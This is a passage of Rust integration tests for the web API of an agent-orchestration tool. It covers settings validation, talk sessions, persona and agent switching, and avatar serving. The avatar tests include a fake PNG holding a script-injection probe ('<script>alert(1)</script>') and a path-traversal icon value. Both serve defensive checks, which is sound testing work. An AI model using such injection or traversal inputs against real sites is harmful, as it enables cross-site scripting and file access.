10283 serde_json::json!({ "judges": 0 }),
10284 serde_json::json!({ "judges": "x" }),
10285 serde_json::json!({ "judges": 2.5 }),
10286 serde_json::json!({ "judges": -1 }),
10287 serde_json::json!({ "reviewers": 3 }),
10288 serde_json::json!({ "bogus": 3 }),
10289 ] {
10290 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10291 let res = f.put("/api/settings/roles", &body).await;
10292 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10293 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10294 }
10295 }
10296
10297 #[tokio::test]
10298 async fn settings_put_refuses_without_touching_the_file() {
10299 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10300 let (_tmp, repo, machine) = settings_dirs(
10301 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10302 Some(machine_text),
10303 );
10304 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10305 let rev = f.get("/api/settings").await.json()["revision"]
10306 .as_str()
10307 .expect("revision")
10308 .to_owned();
10309 for roles in [
10310 serde_json::json!({ "judges": ["nope"] }),
10311 serde_json::json!({ "reviewers": ["b"] }),
10312 serde_json::json!({ "bogus": ["a"] }),
10313 ] {
10314 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10315 let res = f.put("/api/settings/roles", &body).await;
10316 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10317 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10318 assert_eq!(
10319 std::fs::read_to_string(&machine).expect("machine"),
10320 machine_text
10321 );
10322 }
10323 }
10324
10325 #[tokio::test]
10326 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10327 let tmp = TempDir::new().expect("tempdir");
10328 let repo = tmp.path().join("repo");
10329 std::fs::create_dir_all(&repo).expect("repo dir");
10330 let root = tmp.path().join("root");
10331 make_checkout(&root, "github.com", "yukimemi", "magi");
10332 std::fs::write(
10333 repo.join("magi.toml"),
10334 format!(
10335 "[repos]\nroots = [{:?}]\n",
10336 root.to_string_lossy().into_owned()
10337 ),
10338 )
10339 .expect("write magi.toml");
10340
10341 let f = Fixture::with_repo(repo).await;
10342 let res = f.get("/api/repos").await;
10343 assert_eq!(res.status, 200, "{}", res.body);
10344 let list = res.json();
10345 let repos = list.as_array().expect("an array");
10346 assert_eq!(repos.len(), 1);
10347 assert_eq!(repos[0]["name"], "yukimemi/magi");
10348 assert!(
10349 repos[0]["path"]
10350 .as_str()
10351 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10352 "{list}"
10353 );
10354 }
10355
10356 #[tokio::test]
10357 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10358 let tmp = TempDir::new().expect("tempdir");
10359 let repo = tmp.path().join("repo");
10360 std::fs::create_dir_all(&repo).expect("repo dir");
10361 let root = tmp.path().join("root");
10362 make_checkout(&root, "github.com", "yukimemi", "magi");
10363 std::fs::write(
10364 repo.join("magi.toml"),
10365 format!(
10366 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10367 root.to_string_lossy().into_owned()
10368 ),
10369 )
10370 .expect("write magi.toml");
10371
10372 let f = Fixture::with_repo(repo).await;
10373 let first = f.get("/api/repos").await;
10374 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10375
10376 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10379 let second = f.get("/api/repos").await;
10380 assert_eq!(
10381 second.json().as_array().map(Vec::len),
10382 Some(1),
10383 "a fresh cache must not rescan inside the TTL"
10384 );
10385
10386 let refreshed = f.get("/api/repos?refresh=1").await;
10387 assert_eq!(
10388 refreshed.json().as_array().map(Vec::len),
10389 Some(2),
10390 "an explicit refresh must rescan even inside the TTL"
10391 );
10392 }
10393
10394 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10400
10401 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10405 let tmp = TempDir::new().expect("tempdir");
10406 let repo = tmp.path().join("repo");
10407 std::fs::create_dir_all(&repo).expect("repo dir");
10408 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10409 let f = Fixture::with_repo(repo.clone()).await;
10410 (tmp, repo, f)
10411 }
10412
10413 #[tokio::test]
10414 async fn posting_a_talk_with_remembered_choices_is_soft() {
10415 let (_tmp, _repo, f) = talk_fixture().await;
10416
10417 let good = f
10418 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10419 .await;
10420 assert_eq!(good.status, 201, "{}", good.body);
10421 assert_eq!(good.json()["persona"], "rei");
10422
10423 let stale = f
10425 .post(
10426 "/api/talks",
10427 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10428 )
10429 .await;
10430 assert_eq!(stale.status, 201, "{}", stale.body);
10431 let v = stale.json();
10432 assert_eq!(v["implementers"], 1);
10433 assert_ne!(v["persona"], "nobody");
10434 let typed = f
10435 .post(
10436 "/api/talks",
10437 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10438 )
10439 .await;
10440 assert_eq!(typed.status, 201, "{}", typed.body);
10441
10442 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10444 assert!(
10445 !strict.status.to_string().starts_with('2'),
10446 "{}",
10447 strict.body
10448 );
10449 }
10450
10451 #[tokio::test]
10452 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10453 let (_tmp, _repo, f) = talk_fixture().await;
10454
10455 let opened = f.post("/api/talks", None).await;
10458 assert_eq!(opened.status, 201, "{}", opened.body);
10459 let body = opened.json();
10460 assert_eq!(body["status"], "open");
10461 assert_eq!(
10462 body["turns"].as_array().unwrap().len(),
10463 0,
10464 "opening takes no agent turn: there is nothing yet to answer"
10465 );
10466
10467 let also_opened = f.post("/api/talks", Some("{}")).await;
10469 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10470
10471 let listed = f.get("/api/talks").await.json();
10472 assert_eq!(listed.as_array().unwrap().len(), 2);
10473 }
10474
10475 #[tokio::test]
10476 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10477 let tmp = TempDir::new().expect("tempdir");
10478 let repo = tmp.path().join("repo");
10479 std::fs::create_dir_all(&repo).expect("repo dir");
10480 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10481 std::fs::write(
10482 repo.join("magi.toml"),
10483 format!("{MOCK_AGENT_TOML}\n{second}"),
10484 )
10485 .expect("write magi.toml");
10486 let home = TempDir::new().expect("temp home");
10487 let talks = Talks::at(home.path().join("talks"));
10488 let ui = Arc::new(
10489 Ui::new(
10490 Queue::at(home.path().join("queue")),
10491 Questions::at(home.path().join("questions")),
10492 talks.clone(),
10493 home.path().join("runs"),
10494 home.path().to_path_buf(),
10495 repo.clone(),
10496 )
10497 .with_worktrees_root(home.path().join("wt")),
10498 );
10499 let cfg = config_for(&repo).await.expect("discover config");
10500 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10501 let id = talk.id.clone();
10502 let call = |agent: &str| {
10503 talk_agent(
10504 State(Arc::clone(&ui)),
10505 Path(id.clone()),
10506 Json(TalkAgent {
10507 agent: agent.to_owned(),
10508 }),
10509 )
10510 };
10511
10512 let unknown = call("nobody").await.expect_err("unknown agent");
10513 assert_eq!(
10514 unknown.status,
10515 StatusCode::BAD_REQUEST,
10516 "{}",
10517 unknown.message
10518 );
10519
10520 {
10521 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10524 let busy = call("second").await.expect_err("busy talk");
10525 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10526 assert!(
10527 busy.message.contains("a talk turn is running"),
10528 "{}",
10529 busy.message
10530 );
10531 drop(guard);
10532 }
10533 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10534
10535 let Json(view) = call("second").await.expect("switch");
10536 assert_eq!(view.talk.agent, "second");
10537 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10538 let saved = talks.get(&id).expect("reload");
10539 assert_eq!(saved.agent, "second");
10540 assert_eq!(saved.turns.len(), 1);
10541 assert!(!view.thinking);
10542 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10543 for agent in ["mock", "second"] {
10544 let Json(view) = call(agent).await.expect("immediate consecutive change");
10545 assert_eq!(view.talk.agent, agent);
10546 assert!(!view.thinking);
10547 assert!(!ui.is_thinking(&id));
10548 }
10549
10550 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10551 .await
10552 .expect("detail");
10553 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10554 assert_eq!(roster, ["mock", "second"]);
10555
10556 let mut closed = talks.get(&id).expect("reload");
10557 talk::close(&mut closed, &talks).expect("close");
10558 let refused = call("mock").await.expect_err("closed talk");
10559 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10560 assert!(
10561 refused.message.contains("takes no more turns"),
10562 "{}",
10563 refused.message
10564 );
10565 }
10566
10567 #[tokio::test]
10568 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10569 let tmp = TempDir::new().expect("tempdir");
10570 let repo = tmp.path().join("repo");
10571 std::fs::create_dir_all(&repo).expect("repo dir");
10572 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10573 let home = TempDir::new().expect("temp home");
10574 let talks = Talks::at(home.path().join("talks"));
10575 let ui = Arc::new(
10576 Ui::new(
10577 Queue::at(home.path().join("queue")),
10578 Questions::at(home.path().join("questions")),
10579 talks.clone(),
10580 home.path().join("runs"),
10581 home.path().to_path_buf(),
10582 repo.clone(),
10583 )
10584 .with_worktrees_root(home.path().join("wt")),
10585 );
10586 let cfg = config_for(&repo).await.expect("discover config");
10587 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10588 let id = talk.id.clone();
10589 let call = |n: u8| {
10590 talk_implementers(
10591 State(Arc::clone(&ui)),
10592 Path(id.clone()),
10593 Json(TalkImplementers { implementers: n }),
10594 )
10595 };
10596
10597 for bad in [0u8, 4] {
10598 let e = call(bad).await.expect_err("out of range");
10599 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10600 }
10601 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10602
10603 {
10604 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10607 let busy = call(2).await.expect_err("busy talk");
10608 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10609 assert!(
10610 busy.message.contains("a talk turn is running"),
10611 "{}",
10612 busy.message
10613 );
10614 drop(guard);
10615 }
10616
10617 let Json(view) = call(3).await.expect("switch");
10618 assert_eq!(view.talk.implementers, 3);
10619 assert!(talks.get(&id).expect("reload").implementers_dirty);
10620 assert!(!view.thinking);
10621 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10622 for n in [1, 2, 3] {
10623 let Json(view) = call(n).await.expect("immediate consecutive change");
10624 assert_eq!(view.talk.implementers, n);
10625 assert!(!view.thinking);
10626 assert!(!ui.is_thinking(&id));
10627 }
10628
10629 let mut closed = talks.get(&id).expect("reload");
10630 talk::close(&mut closed, &talks).expect("close");
10631 let e = call(2).await.expect_err("closed talk");
10632 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10633 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10634 }
10635
10636 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10638 let tmp = TempDir::new().expect("tempdir");
10639 let repo = tmp.path().join("repo");
10640 std::fs::create_dir_all(&repo).expect("repo dir");
10641 std::fs::write(
10642 repo.join("magi.toml"),
10643 format!("{MOCK_AGENT_TOML}\n{extra}"),
10644 )
10645 .expect("write magi.toml");
10646 let home = TempDir::new().expect("temp home");
10647 let talks = Talks::at(home.path().join("talks"));
10648 let ui = Arc::new(
10649 Ui::new(
10650 Queue::at(home.path().join("queue")),
10651 Questions::at(home.path().join("questions")),
10652 talks.clone(),
10653 home.path().join("runs"),
10654 home.path().to_path_buf(),
10655 repo.clone(),
10656 )
10657 .with_worktrees_root(home.path().join("wt")),
10658 );
10659 let cfg = config_for(&repo).await.expect("discover config");
10660 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10661 (tmp, home, ui, talk.id, repo)
10662 }
10663
10664 async fn avatar(
10666 ui: &Arc<Ui>,
10667 id: &str,
10668 persona: Option<&str>,
10669 builtin: bool,
10670 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10671 let res = talk_avatar(
10672 State(Arc::clone(ui)),
10673 Path(id.to_owned()),
10674 Query(AvatarQuery {
10675 persona: persona.map(str::to_owned),
10676 builtin: builtin.then(|| "1".to_owned()),
10677 }),
10678 )
10679 .await
10680 .expect("an avatar is never an error response");
10681 let h = res.headers();
10682 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10683 let nosniff = h
10684 .get(header::X_CONTENT_TYPE_OPTIONS)
10685 .is_some_and(|v| v == "nosniff");
10686 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10687 let status = res.status();
10688 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10689 .await
10690 .expect("body")
10691 .to_vec();
10692 (status, ct, nosniff, csp, body)
10693 }
10694
10695 fn tiny_png() -> Vec<u8> {
10696 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10697 b.extend_from_slice(&[0u8; 32]);
10698 b
10699 }
10700
10701 #[tokio::test]
10702 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10703 let res = operator_avatar().await;
10704 assert_eq!(res.status(), StatusCode::OK);
10705 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10706 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10707 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10708 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10709 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10710 .await
10711 .unwrap();
10712 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10713 assert_ne!(
10714 persona_icon::operator_svg(),
10715 persona_icon::builtin_svg("default")
10716 );
10717 }
10718
10719 #[tokio::test]
10720 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10721 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10722 for p in [
10723 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10724 ] {
10725 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10726 assert_eq!(status, StatusCode::OK, "{p}");
10727 assert_eq!(ct, "image/svg+xml", "{p}");
10728 assert!(nosniff && csp, "{p}");
10729 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10730 }
10731 let own = avatar(&ui, &id, None, false).await;
10733 let default = avatar(&ui, &id, Some("default"), false).await;
10734 assert_eq!(own.4, default.4);
10735 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10736 assert_eq!(unknown.1, "image/svg+xml");
10737 }
10738
10739 #[tokio::test]
10740 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10741 let dir = TempDir::new().expect("icons");
10742 let good = dir.path().join("good.png");
10743 std::fs::write(&good, tiny_png()).unwrap();
10744 let spoof = dir.path().join("spoof.png");
10745 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10746 let big = dir.path().join("big.png");
10747 let mut bytes = tiny_png();
10748 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10749 std::fs::write(&big, bytes).unwrap();
10750 let missing = dir.path().join("missing.png");
10751 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10752 let extra = format!(
10753 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10754 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10755 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10756 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
10757 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
10758 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
10759 uri(&good),
10760 uri(&spoof),
10761 uri(&big),
10762 uri(&missing),
10763 );
10764 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10765
10766 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
10767 assert_eq!(
10768 (status, ct.as_str(), nosniff),
10769 (StatusCode::OK, "image/png", true)
10770 );
10771 assert_eq!(body, tiny_png());
10772 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
10773 assert_eq!(ct, "image/png", "data URI");
10774
10775 for p in ["misato", "asuka", "shinji", "magi"] {
10776 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
10777 assert_eq!(
10778 (status, ct.as_str(), csp),
10779 (StatusCode::OK, "image/svg+xml", true),
10780 "{p}"
10781 );
10782 assert!(body.starts_with(b"<svg"), "{p}");
10783 }
10784 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
10786 assert_eq!(ct, "image/svg+xml");
10787 }
10788
10789 #[tokio::test]
10790 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
10791 let oversized = format!(
10792 "data:image/png;base64,{}",
10793 "A".repeat(persona_icon::ICON_MAX_BYTES)
10794 );
10795 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
10796 let extra = format!(
10797 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
10798 );
10799 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
10800 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10801 .await
10802 .expect("detail with invalid icon");
10803 assert!(detail.personas.iter().any(|p| p.id == "custom"));
10804 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
10805 assert_eq!(status, StatusCode::OK);
10806 assert_eq!(ct, "image/svg+xml");
10807 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
10808 let Json(view) = talk_persona(
10809 State(Arc::clone(&ui)),
10810 Path(id.clone()),
10811 Json(TalkPersona {
10812 persona: "custom".into(),
10813 }),
10814 )
10815 .await
10816 .expect("persona switch with invalid icon");
10817 assert_eq!(view.talk.persona, "custom");
10818 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
10819 }
10820 }
10821
10822 #[tokio::test]
10823 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
10824 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10825 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
10826 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
10827 assert_eq!(
10828 (status, ct.as_str(), nosniff, csp),
10829 (StatusCode::OK, "image/svg+xml", true, true)
10830 );
10831 }
10832
10833 #[tokio::test]
10834 async fn the_talk_view_carries_server_built_avatar_urls_only() {
10835 let (_t, _h, ui, id, _repo) =
10836 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
10837 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10838 .await
10839 .expect("detail");
10840 let json = serde_json::to_string(&detail).unwrap();
10841 assert!(
10842 !json.contains("secret"),
10843 "the icon setting must not leak: {json}"
10844 );
10845 assert!(
10846 detail
10847 .view
10848 .persona_avatar
10849 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
10850 );
10851 assert_eq!(
10852 detail.view.operator_avatar,
10853 format!(
10854 "/avatars/operator.svg?v={}",
10855 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
10856 )
10857 );
10858 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
10859 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
10860 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
10861 assert!(rei.avatar.contains("persona=rei&v="));
10862 assert_ne!(
10863 rei.avatar.split("&v=").nth(1),
10864 plain.avatar.split("&v=").nth(1)
10865 );
10866 }
10867
10868 #[tokio::test]
10869 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
10870 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
10871 let cfg = config_for(&repo).await.unwrap();
10872 for arrived in [false, true] {
10873 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
10874 let observed = ui.queued_generation(&id);
10875 let talk = ui.talks.get(&id).unwrap();
10876 if arrived {
10877 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
10878 }
10879 let mut settling = std::pin::pin!(settle_settings_turn(
10880 talk,
10881 ui.talks.clone(),
10882 cfg.clone(),
10883 id.clone(),
10884 turn,
10885 observed
10886 ));
10887 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
10888 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
10889 assert_eq!(first.is_pending(), arrived);
10890 if arrived {
10891 assert!(!settling.await);
10892 }
10893 assert!(!ui.is_thinking(&id));
10894 }
10895 }
10896
10897 #[tokio::test]
10898 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
10899 let tmp = TempDir::new().expect("tempdir");
10900 let repo = tmp.path().join("repo");
10901 std::fs::create_dir_all(&repo).expect("repo dir");
10902 std::fs::write(
10903 repo.join("magi.toml"),
10904 format!(
10905 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
10906 ),
10907 )
10908 .expect("write magi.toml");
10909 let home = TempDir::new().expect("temp home");
10910 let talks = Talks::at(home.path().join("talks"));
10911 let ui = Arc::new(
10912 Ui::new(
10913 Queue::at(home.path().join("queue")),
10914 Questions::at(home.path().join("questions")),
10915 talks.clone(),
10916 home.path().join("runs"),
10917 home.path().to_path_buf(),
10918 repo.clone(),
10919 )
10920 .with_worktrees_root(home.path().join("wt")),
10921 );
10922 let cfg = config_for(&repo).await.expect("discover config");
10923 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10924 let id = talk.id.clone();
10925 let call = |persona: &str| {
10926 talk_persona(
10927 State(Arc::clone(&ui)),
10928 Path(id.clone()),
10929 Json(TalkPersona {
10930 persona: persona.to_owned(),
10931 }),
10932 )
10933 };
10934
10935 let unknown = call("nobody").await.expect_err("unknown persona");
10936 assert_eq!(
10937 unknown.status,
10938 StatusCode::BAD_REQUEST,
10939 "{}",
10940 unknown.message
10941 );
10942
10943 {
10944 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10947 let busy = call("rei").await.expect_err("busy talk");
10948 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10949 assert!(
10950 busy.message.contains("a talk turn is running"),
10951 "{}",
10952 busy.message
10953 );
10954 drop(guard);
10955 }
10956 assert_eq!(talks.get(&id).expect("reload").persona, "");
10957
10958 let Json(view) = call("gendo").await.expect("switch to a configured persona");
10959 assert_eq!(view.talk.persona, "gendo");
10960 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
10961 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10962 for chosen in ["default", "gendo", "rei", "gendo"] {
10964 let Json(view) = call(chosen).await.expect("immediate consecutive change");
10965 assert!(!view.thinking);
10966 assert!(!ui.is_thinking(&id));
10967 }
10968
10969 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10970 .await
10971 .expect("detail");
10972 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
10973 assert_eq!(ids.first(), Some(&"default"));
10974 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
10975
10976 let Json(view) = call("default").await.expect("back to default");
10977 assert_eq!(view.talk.persona, "");
10978
10979 let mut closed = talks.get(&id).expect("reload");
10980 talk::close(&mut closed, &talks).expect("close");
10981 let refused = call("rei").await.expect_err("closed talk");
10982 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10983 assert!(
10984 refused.message.contains("takes no more turns"),
10985 "{}",
10986 refused.message
10987 );
10988 }
10989
10990 #[tokio::test]
10991 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
10992 let f = Fixture::start().await;
10993 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
10994 let queue = f.queue();
10995 let mut mine = Task::new(
10996 "rename the loader".to_owned(),
10997 "rename the loader".to_owned(),
10998 PathBuf::from("/repo/magi"),
10999 Source::Agent {
11000 run: talk_id.clone(),
11001 node: "chat".to_owned(),
11002 },
11003 );
11004 queue.put(&mut mine).expect("file the task");
11005 let mut theirs = Task::new(
11006 "unrelated".to_owned(),
11007 "unrelated".to_owned(),
11008 PathBuf::from("/repo/magi"),
11009 Source::Human,
11010 );
11011 queue.put(&mut theirs).expect("file the task");
11012
11013 let res = f.get(&format!("/api/talks/{talk_id}")).await;
11014 assert_eq!(res.status, 200, "{}", res.body);
11015 let body = res.json();
11016 assert_eq!(
11017 body["status"], "open",
11018 "filing a task does not close a talk"
11019 );
11020 let tasks = body["tasks"].as_array().expect("tasks array");
11021 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
11022 assert_eq!(tasks[0]["id"], mine.id);
11023 }
11024
11025 #[tokio::test]
11026 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
11027 let (_tmp, _repo, f) = talk_fixture().await;
11028 let id = f.post("/api/talks", None).await.json()["id"]
11029 .as_str()
11030 .expect("id")
11031 .to_owned();
11032
11033 let res = f
11034 .post(
11035 &format!("/api/talks/{id}/say"),
11036 Some(r#"{"text":"what does the queue module do?"}"#),
11037 )
11038 .await;
11039 assert_eq!(res.status, 202, "{}", res.body);
11040 let queued = res.json();
11041 let turns = queued["turns"].as_array().expect("turns array");
11042 assert_eq!(
11043 turns.len(),
11044 1,
11045 "the answer reflects only what is on disk the instant it is sent, \
11046 before the agent's turn - which can run for the whole of \
11047 `[graph] timeout_talk` - has a chance to land: {queued}"
11048 );
11049 assert_eq!(turns[0]["who"], "operator");
11050 assert_eq!(turns[0]["body"], "what does the queue module do?");
11051 assert_eq!(
11052 queued["thinking"], true,
11053 "the accepted response exposes the background turn claim: {queued}"
11054 );
11055
11056 let mut turns_after = 1;
11057 for _ in 0..SETTLE_STEPS {
11058 let detail = f.get(&format!("/api/talks/{id}")).await.json();
11059 turns_after = detail["turns"].as_array().expect("turns array").len();
11060 if turns_after == 2 {
11061 break;
11062 }
11063 tokio::time::sleep(Duration::from_millis(10)).await;
11064 }
11065 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
11066 }
11067
11068 #[tokio::test]
11095 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
11096 let tmp = TempDir::new().expect("tempdir");
11097 let repo = tmp.path().join("repo");
11098 std::fs::create_dir_all(&repo).expect("repo dir");
11099 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11100 let home = TempDir::new().expect("temp home");
11101 let talks = Talks::at(home.path().join("talks"));
11102 let ui = Arc::new(
11103 Ui::new(
11104 Queue::at(home.path().join("queue")),
11105 Questions::at(home.path().join("questions")),
11106 talks.clone(),
11107 home.path().join("runs"),
11108 home.path().to_path_buf(),
11109 repo.clone(),
11110 )
11111 .with_worktrees_root(home.path().join("wt")),
11112 );
11113 let cfg = config_for(&repo).await.expect("discover config");
11114
11115 for delay in 0..40u32 {
11116 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
11117 let id = talk.id.clone();
11118
11119 let handler = tokio::spawn(talk_say(
11120 State(Arc::clone(&ui)),
11121 Path(id.clone()),
11122 Ok(Json(NewTalkTurn {
11123 reply_to: None,
11124 text: "what does the queue module do?".to_owned(),
11125 attachments: Vec::new(),
11126 })),
11127 ));
11128 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
11129 handler.abort();
11130 let _ = handler.await;
11133
11134 let mut turns = 0;
11135 for _ in 0..SETTLE_STEPS {
11136 if let Ok(fresh) = talks.get(&id) {
11137 turns = fresh.turns.len();
11138 if turns != 1 {
11139 break;
11140 }
11141 }
11142 tokio::time::sleep(Duration::from_millis(10)).await;
11143 }
11144 assert_ne!(
11145 turns, 1,
11146 "delay {delay}: talk {id} recorded the operator's turn but \
11147 the agent never answered - the reply task was never \
11148 started after the handler future was dropped"
11149 );
11150 }
11151 }
11152
11153 #[tokio::test]
11198 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
11199 let tmp = TempDir::new().expect("tempdir");
11200 let repo = tmp.path().join("repo");
11201 std::fs::create_dir_all(&repo).expect("repo dir");
11202 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
11203 let home = TempDir::new().expect("temp home");
11204 let talks = Talks::at(home.path().join("talks"));
11205 let ui = Arc::new(
11206 Ui::new(
11207 Queue::at(home.path().join("queue")),
11208 Questions::at(home.path().join("questions")),
11209 talks.clone(),
11210 home.path().join("runs"),
11211 home.path().to_path_buf(),
11212 repo.clone(),
11213 )
11214 .with_worktrees_root(home.path().join("wt")),
11215 );
11216 let cfg = config_for(&repo).await.expect("discover config");
11217
11218 for attempt in 0..3u32 {
11219 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
